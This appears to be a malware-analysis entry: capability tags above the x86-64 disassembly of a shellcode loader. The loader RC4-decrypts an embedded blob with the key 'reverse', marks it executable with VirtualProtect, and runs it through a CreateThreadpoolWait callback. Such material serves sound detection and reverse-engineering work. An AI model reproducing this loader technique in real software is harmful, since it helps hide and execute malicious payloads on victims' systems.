Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via createthreadpoolwait

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x250
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea r14, str.reverse
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x140001040
xor esi, esi
lea rcx, [rsp + 0x140]
mov ebp, 0x100
xor edx, edx
mov r8d, ebp
mov ebx, esi
call sub.VCRUNTIME140.dll_memset
mov r8d, esi
mov r9d, esi
nop dword [rax + rax]
xor edx, edx
mov byte [rsp + r9 + 0x30], r8b
mov eax, r8d
lea r9, [r9 + 1]
div edi
inc r8d
movzx eax, byte [rdx + r14]
mov byte [rsp + r9 + 0x13f], al
cmp r8d, ebp
jl 0x140001070
mov rdx, rsi
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x140]
movzx r8d, byte [rsp + rdx + 0x30]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x30], al
inc rdx
mov byte [rcx], r8b
sub rbp, 1
jne 0x1400010a0
lea rax, [0x1400049d0]
lea rcx, [rsp + 0x30]
lea edx, [rbp + 2]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400010f2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx edx, byte [rsp + 0x31]
lea rdi, [0x140004040]
nop word [rax + rax]
movzx ecx, dl
movzx eax, byte [rsp + rcx + 0x30]
mov byte [rsp + 0x31], al
mov byte [rsp + rcx + 0x30], cl
movzx edx, byte [rsp + 0x31]
add rcx, rdx
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x30]
xor byte [rsi + rdi], cl
inc rsi
cmp rsi, 0x37f
jb 0x140001170
lea r9, [rsp + 0x20]
mov edx, 0x37f
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140001280
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret